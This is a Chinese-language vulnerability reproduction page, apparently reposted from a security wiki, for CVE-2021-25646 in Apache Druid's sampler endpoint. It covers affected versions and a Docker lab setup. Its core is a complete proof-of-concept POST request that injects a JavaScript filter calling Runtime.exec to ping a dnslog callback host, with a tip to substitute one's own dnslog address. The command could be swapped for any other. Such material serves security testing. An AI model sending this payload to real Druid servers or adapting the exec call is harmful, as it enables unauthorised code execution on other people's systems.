Apache Druid sampler 远程代码执行漏洞 CVE-2021-25646
文章目录
title: Apache Druid sampler 远程代码执行漏洞 CVE-2021-25646
Apache Druid sampler 远程代码执行漏洞 CVE-2021-25646
漏洞描述
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。 Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。 Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码
漏洞影响
Apache Druid < 0.20.1
环境搭建
这里使用Docker来搭建环境
<a-alert type="success" message="Docker下载链接: https://github.com/apache/druid/archive/druid-0.20.0.zip" description="" showIcon> </a-alert>
<br/>
下载之后进入目录 distribution\docker
执行命令编译 docker-compose up -d

漏洞复现
验证POC
POST /druid/indexer/v1/sampler
Content-Type: application/json
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping p3fpw5.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

<br/>
<a-alert type="success" message="注意请求中这个位置改为你的dnslog平台地址" description="" showIcon> </a-alert>
<br/>
<a-alert type="success" message="java.lang.Runtime.getRuntime().exec('ping -c 4 xxxxx.dnslog.cn')" description="" showIcon> </a-alert>
<br/>
参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/webserver/Apache/Apache Druid sampler 远程代码执行漏洞 CVE-2021-25646.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。